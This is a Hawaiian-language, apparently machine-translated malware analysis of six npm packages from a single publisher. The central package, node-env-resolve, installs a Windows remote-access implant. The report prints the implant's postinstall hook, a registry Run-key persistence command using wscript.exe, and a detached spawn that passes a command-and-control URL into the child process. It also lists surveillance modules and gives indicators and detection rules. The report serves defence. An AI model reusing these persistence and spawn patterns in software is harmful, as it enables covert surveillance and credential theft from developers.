Aku; DR
Ma waena o ʻApelila 1 a me Mei 3, 2026, hoʻokahi mea hoʻopuka npm, user0001, i hoʻopaʻa inoa ʻia me ka helu wahi Gmail i hōʻoia ʻole ʻia tanvisoul9@gmail.com, ua hoʻokuke mālie i ʻeono mau pūʻolo me nā inoa palupalu, kani like me ke kahua: centralogger, dom-utils-lite, node-fetch-lite, connector-agent, node-gyp-runtime, a node-env-resolve.
ʻO nā mana ʻelua hou loa o node-env-resolve, 1.0.7 a me 1.0.8, ua hōʻailona ʻia e ka ʻōnaehana Malware Early Warning (MEW) a Xygeni ma Mei 2 a ua hōʻoia ʻia he ʻino ma Mei 3.
He mea ʻokoʻa ka implant no ka mea ʻaʻole ia: ʻaʻohe bots Telegram, ʻaʻohe callbacks OAST, ʻaʻohe ka holoʻokoʻa, a ʻaʻohe hoʻāʻo e hopu i nā palapala hōʻoia AWS i ka manawa hoʻokomo. Akā, postinstall.js kanu i kahi komo hoʻomau-boot Windows, me ka hoʻohana ʻana i kahi kī HKCU Run e hoʻomaka ana wscript.exe e kūʻē i kahi stub VBS. A laila hoʻopuka ia i kahi ʻelele Node.js i hoʻokaʻawale ʻia e hoʻopili i nā modula no ka hopu ʻana i ka microphone, ka ʻaihue mōʻaukala polokalamu kele pūnaewele, ka paʻi kiʻi, a me ka hoʻohālike ʻiole/papa kī.
Ke kapa nei mākou i kēia hui Pākuʻi Hoʻololi, ma hope o ka pahu hana, e holo ana ia ma ka mīkini a ka mea hoʻomohala.
Ua ola nā pūʻolo ʻeono a pau ma ka npm i ka wā kākau. Ua waiho mākou iā lākou i ke kahawai hana ʻino o ke keʻena hoʻopaʻa inoa. Pono nā mea pale e huki i nā hoʻonohonoho āpau mai ka mea hoʻopuka e kali ana i ka wehe ʻana.
ʻO ka Hui: ʻEono Pūʻolo, Hoʻokahi Mea Hoʻopuka
Ka moʻokāki hoʻopuka user0001 ʻaʻole i hōʻoia ʻia. ʻAʻohe ona SCM hōʻoia, ʻaʻohe leka uila i hoʻopaʻa ʻia i ka kikowaena, a ʻaʻohe mōʻaukala mua. ʻO ka lawelawe Gmail tanvisoul9 ʻaʻole ʻike ʻia ma kekahi moʻolelo hoʻopuka npm ʻē aʻe i hiki iā mākou ke loaʻa.
Hoʻopaʻa inoa nā pūʻolo ʻeono i ka mea mālama like, ua paʻi ʻia mai ka moʻokāki like, a kaʻana like i ka mea like package.json papa paila. ʻAʻohe repository, ʻaʻole homepage, aʻaʻole description ʻoi aku ka lōʻihi ma mua o hoʻokahi laina.
ʻO ke ʻano hoʻolālā inoa ka ʻāpana hoihoi. ʻAʻole e like me kahi hoʻolaha hilinaʻi-huikau a typosquat paha, ʻaʻohe o kēia mau inoa e kuhikuhi ana i kahi waihona puke kikoʻī ma luna. Akā, ua hoʻoponopono ʻia lākou e nalo i loko o kahi mea maoli package.json or npm ls huahana.
| pūʻolo | Kau muaʻia | Hōʻike Hou | wale nō | Kūlana ma ka Hui |
|---|---|---|---|---|
| mea hoʻopaʻa kikowaena | 2026-04-01 12:46 UTC | 1.0.9 | 5, mai 1.0.5 a i 1.0.9 | Uhi "mea hana logging" o ka Cluster; paʻi mua loa |
| dom-utils-lite | 2026-04-14 07:36 UTC | 1.0.3 | 3 | Uhi kōkua DOM maʻamau |
| node-fetch-lite | 2026-04-19 10:22 UTC | 1.0.2 | 3 | Hoʻohālike i ka ʻohana node-fetch |
| mea hoʻohui | 2026-04-25 05:12 UTC | 1.0.0 | 1 | ʻAgent inoa maʻamau |
| manawa holo node-gyp | 2026-04-25 05:17 UTC | 1.0.0 | 1 | Hoʻohālike i nā mea hana kūkulu modula ʻōiwi |
| node-env-resolve | 2026-04-25 05:21 UTC | 1.0.9 | 10, mai 1.0.0 a i 1.0.9 | Mea hoʻokuʻu ikaika; mea hoʻokomo piha |
Nā inoa e like centralogger, node-fetch-lite, a node-gyp-runtime ua hoʻolālā ʻia e nānā ʻaʻohe hoʻopaʻapaʻa i ka loiloi code. Ke kani nei lākou e like me nā mea e kū nei i loko o ka lāʻau hilinaʻi o kahi papahana.
I hui pū ʻia me kahi mea hoʻopuka hou, ʻaʻole i hōʻoia ʻia a me nā loulou waihona i nalowale, hana lākou i kahi ʻano i ʻike ʻia: kahi mea hana keaka e lūlū ana i nā inoa haʻahaʻa haʻalulu i loko o ka papa inoa, a laila hana wikiwiki i ka mea nui. I kēia hihia, node-env-resolve ua loaʻa iā ia he ʻumi mau mana i loko o nā lā ʻewalu.
He aha ka mea e pae ana ma kahi pahu Windows Dev
ʻO ke kaulahao ʻino ma luna node-env-resolve:1.0.8 he pōkole, pololei, a waiwai nui i nā hiʻohiʻona no kahi npm RAT.
Hoʻouka ma hope: Hoʻomau a me ka Luna Hoʻokaʻawale
package.json hoʻolaha i kahi makau hoʻonohonoho hoʻokahi:
{ "scripts": { "postinstall": "node postinstall.js" } }postinstall.js hana i ʻekolu mau mea ma ke kaʻina.
ʻO ka mea mua, hoʻonohonoho ia i kahi papa kuhikuhi hoʻonohonoho ma waho o ka lāʻau npm. Hoʻomaulia ʻia ke ala i ka wā holo ma ke ʻano he INSTALL_DIRA laila holo ia i kahi hana kūloko execSync('npm install --production --silent ...') i loko e huki i nā hilinaʻi runtime o ka implant. Hoʻokomo kēia i ka ʻākena ma kahi disk ma kahi manual node_modules ʻaʻole e loaʻa ka loiloi.
ʻO ka lua, kākau ia i kahi mea hoʻolaha VBS a hoʻopaʻa inoa iā ia no ka hoʻomau ʻana o ka boot:
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run \ /v ${AGENT_NAME} \ /t REG_SZ \ /d "wscript.exe \"${vbsPath}\"" /fwscript.exe ʻo ia ka Windows Script Host, kahi binary Microsoft i kau inoa ʻia e holo ana .vbs nā faila me ka ʻole o ka puka makani console. ʻO ia ka mea muacisʻO ia ke kumu i makemake nui ʻia ai no nā ʻōpala autorun.
Aia pū kekahi hoʻohālikelike reg delete ala i loko src/index.js, e hōʻike ana ua hoʻolālā ʻia ka implant e hiki ke wehe maʻalahi ʻia ma ke kauoha a ka mea hoʻohana.
ʻO ke kolu, hoʻopuka ia i kahi kaʻina hana keiki i hoʻokaʻawale ʻia:
spawn(node, [path.join(INSTALL_DIR, 'src/index.js')], { detached: true, env: { ...process.env, SERVER_URL } })ʻElua mau kikoʻī he mea nui ma ʻaneʻi.
SERVER_URL ua heluhelu ʻia mai ke kaiapuni. ʻO ka hopena, hiki ke hoʻonohonoho ʻia ka hopena C2 no kēlā me kēia hoʻolaha ʻana a ʻaʻole i hoʻokomo ʻia i loko o ka pūʻolo. ʻO kēlā koho liʻiliʻi akā noʻonoʻo ʻia e lanakila ana i ka hapa nui o nā sweep static-IOC.
Eia kekahi, hoʻoilina ke keiki i hānau ʻia i ke kaiapuni makua piha. No laila, kekahi NPM_TOKEN, AWS_*, GITHUB_TOKEN, a i ʻole ka SSH-agent socket i loko o ka pūpū hoʻomohala i ka manawa hoʻouka e hele ana i loko o ka hoʻomanaʻo o ka ʻelele lōʻihi.
Nā mea a ka Luna e hoʻouna aku ai
ʻO ka mea i hoʻopili ʻia src/ ʻEkolu mau modula o ka lāʻau nona nā inoa wale nō e haʻi mai ana i ka moʻolelo: audioCapture.js, browserHistory.js, a systemInfo.js.
ʻO ka papa inoa hilinaʻi runtime, i hoʻoholo ʻia i ka wā o ke kahua npm install, hōʻoia iā lākou.
Hoʻololi kēia ʻano hana i kahi hanana haunaele i kahi pane i kāohi ʻia.
Ma kahi o ka pane makapō ʻana, hana nā hui me ka hoʻonohonoho mua ʻana a me ka hoʻoponopono wikiwiki.
| Kūlana | He aha ia ma kēia pōʻaiapili |
|---|---|
| kiʻi-papapihi | Ka hopu ʻana i ka pale i kēlā me kēia manawa |
| @nut-tree-fork/nut-js | Hoʻohālike hana pono ʻana o ka ʻiole a me ka papa kīpē / hoʻokomo |
| ʻoi aku ka maikaʻi o sqlite3 | Heluhelu pololei i nā waihona ʻikepili SQLite Chrome, Edge, a me Firefox History |
| adm-zip | Hoʻopili ʻana i nā mea hana i hōʻiliʻili ʻia ma mua o ke kālai ʻia ʻana |
| oi | Hoʻololi i ka nui / hoʻopili ʻana i nā kiʻi paʻi a me nā mea hana kiʻi |
| mea kūʻai aku socket.io | Kanal C2 bidirectional mau loa |
| node-mīkini-id | Paʻa ka manamana lima no kēlā me kēia kikowaena no ka hahai ʻana i ka mea i hōʻeha ʻia |
systemInfo.js Kāhea os.networkInterfaces() no ka nānā ʻana i nā manamana lima hou aʻe ma mua o ke kukui mua.
No ke aha i lilo ai ka hopu leo i hōʻailona kū i waho
ʻO ka hapa nui o nā RAT npm a mākou e hoʻokaʻawale ai ma MEW e hoʻōki i ka ʻaihue huna manawa hoʻonohonoho. Heluhelu lākou ~/.npmrc, heluhelu ~/.aws/credentials, ʻōpala process.env, POST i kahi webhook, a puka i waho. Kūpono kēlā i kahi kumu hoʻohālike waiwai smash-and-grab. He pōkole ka hapalua ola o nā palapala hōʻoia, a pono ka mea hoʻouka e loaʻa kālā koke.
node-env-resolve he ʻokoʻa ke ʻano.
Ua hoʻonohonoho ʻia ke kūpaʻa e ola i ka reboot. Holo ka ʻākena me ka ʻole o ka hoʻokaʻawale ʻana a ola lōʻihi ma lalo o wscript.exeʻO ka pahu hana āna e lawe nei no ke kau ʻana ma laila ma ka mīkini a ka mea hoʻomohala, ʻaʻole no ka hopu ʻana a me ka haʻalele ʻana: kahi mea hoʻopaʻa leo microphone, kahi mea hoʻokele keyboard/ʻiole, ka hoʻokomo ʻana i ka mōʻaukala polokalamu kele pūnaewele piha, ka hopu ʻana i ka pale, a me kahi kahawai Socket.IO interactive i kahi C2 hiki ke hoʻonohonoho ʻia.
ʻO ka hopu ʻana i ka microphone ma ke ʻano kūikawā ka laina e keʻa ai kēia hoʻolaha ʻaʻole i hana ʻia e ka hapa nui o nā polokalamu npm.
ʻO kahi kahua hana hoʻomohala, ʻo ia hoʻi ke kahua hana kahi e kū ai nā mea hoʻomohala, nā kelepona a nā mea kūʻai aku, nā kūkākūkā hoʻolālā, a me nā alahaka ma ke kelepona. ʻAʻole ma hope o ka hōʻailona npm a ka mea hoʻomohala kahi i hoʻokomo ʻia ai ka microphone. Ma hope o ka mea a ka mea hoʻomohala e ʻōlelo ai i mua o ka kamepiula lawe lima.
ʻO kēlā pūʻulu hiki, me ka nele o ka obfuscation a me ka nele o kekahi exfiltration manawa hoʻonohonoho flashy, heluhelu ʻia ma ke ʻano he pre-positioning no ke komo ʻana i kuhikuhi ʻia ma mua o ka ʻaihue hōʻoia kūpono.
ʻAʻole mākou e hōʻoia ana i ka hāʻawi ʻana mai kēia wale nō. Ke hoʻomaopopo nei mākou i ka ʻikepili hana.
ʻO ke kaʻina hana hou ʻewalu lā ma node-env-resolve ʻo ia ka ʻikepili koʻikoʻi loa o ka hana ma ka papa manawa.
ʻAʻole kēia he hāʻule ahi-a-poina. Ke mālama nei ka mea hoʻopuka i ka dropper, ʻo ia hoʻi kekahi o nā mea ʻelua. Ke hoʻonohonoho nei lākou iā ia i nā wahi hoʻāʻo ma mua o ka hoʻolaha ākea ʻana, a i ʻole ua hoʻi mai kā lākou telemetry hoʻonohonoho a ke pane nei iā ia.
ʻAʻole i ʻike ʻia nā pūʻolo ʻelima ʻē aʻe i kahi churn ma hope o kā lākou hoʻopuka mua ʻana. Kūpono kēlā i kahi ʻano "kahua hoʻokahi, haʻalele i kapa ʻia" no ka hui kākoʻo ʻoiai ke kālele nei ka hana ʻenekinia i ka pūʻolo e hana ana i ka hana.
Kuhi: Nā Hōʻailona Liʻiliʻi, ʻAʻohe ʻŌlelo Hoʻoholo Paʻa
Public Kaukau he lahilahi nā hōʻailona, a ʻaʻole mākou e hoʻolōʻihi iā lākou. He aha ka mea i ʻike ʻia:
ʻO ka lawelawe Gmail tanvisoul9 ua like iki me kahi inoa i hāʻawi ʻia ma ʻAsia Hema, ʻo "Tanvi." He hōʻailona nāwaliwali kēia. ʻAʻole nā lima Gmail he ʻike, a ʻo ka hope soul9 he laulā. ʻAʻole palekana ke kuhi i ka ʻike honua mai kahi leka uila kūloko wale nō.
ʻAʻole kupaianaha ke ʻano o ke code Node.js: standard nā kāhea hale waihona puke e like me os, child_process, spawn, a reg addʻAʻohe obfuscation, ʻaʻohe string rotation, a ʻaʻohe logic anti-debug. Ua ʻoluʻolu ka mea kākau me nā primitives registry Windows a me ka hoʻonohonoho ʻana o ke kaʻina hana detached-child, akā ʻaʻole ʻike ʻia e ʻimi ana i nā hana kālepa malū a lākou e hoʻohana nei.
ʻAʻole hiki ke hoʻopau ʻia nā mea hilinaʻi a ua ʻike nui ʻia: screenshot-desktop, nut-js, better-sqlite3, a socket.io-clientʻAʻohe protocol maʻamau, ʻaʻohe C2 stack i ʻōwili ʻia mai ka wā ʻōpiopio, a ʻaʻohe hana hoʻomau hou ma mua o kahi puke aʻo. Kī Holo HKCUHe mea hoʻohui mākaukau kēia, ʻaʻole he mea kākau mea hana.
ʻAʻole mākou i loaʻa i nā kaula ʻaʻole Pelekania, nā manaʻo i hoʻokomo ʻia, ka ʻikepili kūloko, a i ʻole nā manamana lima manawa i hoʻopuka ʻia e ka mea hōʻuluʻulu manaʻo i loko o nā mea hana i paʻi ʻia.
Ua nānā mākou no ka hoʻopili ʻana o ke code me nā hoʻolaha mua a mākou e nānā nei, me Shai Hulud, ʻOlivion, Buildkite, a me ka heibai hou / claude-code-best ʻOhana clone Anthropic-CLI. ʻAʻohe a mākou i loaʻa: ʻaʻohe ʻano hoʻohālike C2 i kaʻana like ʻia, ʻaʻohe hoʻonohonoho faila i kaʻana like ʻia, a ʻaʻohe ʻōlelo i kaʻana like ʻia.
ʻO ka mea a mākou e ʻōlelo ʻole ai: he mea hana mokuʻāina kēia, he hui i ʻike ʻia, a i ʻole i hoʻopaʻa ʻia ma ke ʻano he ʻāina i kekahi ʻāina kikoʻī.
Ua kūlike ke ʻano hana me kahi hui liʻiliʻi a mākaukau iki e hana ana i ka nānā ʻana ma waena o nā mea hoʻomohala a me nā wahi hana. Ua hoʻoikaika ʻia paha ia ma ke kālā ma o ka hoʻohana ʻana i ke komo ʻana ma hope, akā hiki nō hoʻi ke hana i ka nānā ʻana ma ke ʻano he lawelawe no kahi mea kūʻai ʻokoʻa.
ʻElua mau kiko ʻaʻole pololei e kākoʻo ana i kēlā heluhelu: ka pale ʻana i nā mīkini exfiltration e hopu ana i ka manaʻo e puhi koke i ka hui, e like me nā bots Telegram, oastify.com, a i ʻole nā canarytokens, a me nā inoa pūʻolo palaka, ka mea e makemake ai i nā hoʻonohonoho huelo lōʻihi mālie ma mua o kahi piʻi nui pōkole.
Nā Hōʻailona o ka Hoʻokuʻikahi a me ka ʻIke ʻana
| Nā Pūʻolo a me ka Mea Hoʻopuka | |
|---|---|
| Field | Value |
| mea hoʻopuka npm | mea hoʻohana0001 |
| Leka uila a ka mea hoʻopuka | tanvisoul9@gmail.com, ʻaʻole i hōʻoia ʻia |
| pūʻolo helu | kikowaena, dom-utils-lite, node-fetch-lite, mea hoʻohui-ʻelele, node-gyp-runtime, node-env-resolve |
| Ua hōʻoia ʻia he ʻino | node-env-resolve@1.0.7, node-env-resolve@1.0.8 |
| Nā Mea Hana Hoʻokipa | |
|---|---|
| ʻAno | Value |
| Kī hoʻomau | HKCU\Software\Microsoft\Windows\CurrentVersion\Run |
| Ka waiwai o ke kūpaʻa | Inoa loli; ʻikepili o ke ʻano wscript.exe " \\ .vbs" |
| E hoʻouka i ka makau | postinstall: node postinstall.js i loko o ka hōʻike pūʻolo |
| Nā modula hoʻokomo | src/audioCapture.js, src/browserHistory.js, src/systemInfo.js |
| Papa kuhikuhi hoʻonohonoho | Ua hoʻoholo ʻia ʻo INSTALL_DIR ma waho o ka node_modules o ka papahana; ua hoʻonohonoho ʻia kahi e postinstall.js i ka manawa hoʻokomo |
| Leakaʻaʻike | |
|---|---|
| ʻAno | Value |
| Ka halihali C2 | socket.io-client, kahawai bidirectional mau loa |
| Ka hopena C2 | Hāʻawi ʻia i ka ʻelele ma o ka loli kaiapuni SERVER_URL; ʻaʻole i hoʻopaʻa ʻia i loko o nā mea hana i paʻi ʻia |
Nā Memo ʻIke
ʻElua mau lula e hopu i kēia ʻohana me ka ʻole o ka pono o ka hopena C2.
ʻO ka mea mua, e hōʻailona i nā palapala postinstall e hana ana i kahi hana kūloko npm install i loko o kahi ala ma waho o ka papa kuhikuhi ponoʻī o ka pūʻolo. ʻO kēlā me kēia mea hoʻoiho prebuild kūpono, e like me node-gyp kūkulu hou a i ʻole nā mea hoʻoiho binary i kūkulu mua ʻia, kākau i loko o ka pūʻolo a i ʻole i loko o ka paepae-standard nā ala cache me nā hashes i hōʻoia ʻia. ʻAʻole ia e kākau i loko o kahi mea i hana hou ʻia INSTALL_DIR ma kahi ʻē aʻe ma ka disk.
ʻO ka lua, e hōʻailona i nā palapala postinstall e hoʻopuka ana reg add HKCU\…\Run me wscript.exe ma ke ʻano he mea hoʻomaka. ʻAʻole loa kēia he mea kūpono mai kahi pūʻolo npm. E hōʻailona a hoʻokaʻawale iā ia.
He mea pono ke kolu o ka heuristic no ka ʻike ʻana i ka pūʻolo kaikaina aʻe ma mua o ka hōʻoia ʻia ʻana: kahi mea hoʻopuka npm hou me ka ʻole SCM hōʻoia, kahi leka uila Gmail, ʻaʻole repository kahua, a me nā inoa pūʻolo pōkole he nui, maʻamau, kani like me ke kahua i paʻi ʻia i loko o nā lā o kekahi me kekahi, ma ia iho, ua lawa ia e hōʻoia i ka loiloi lima.
Ua hōʻike ʻia i ke kāinoa npm. E hōʻano hou mākou i kēia pou ke wehe ʻia ka moʻokāki hoʻopuka.
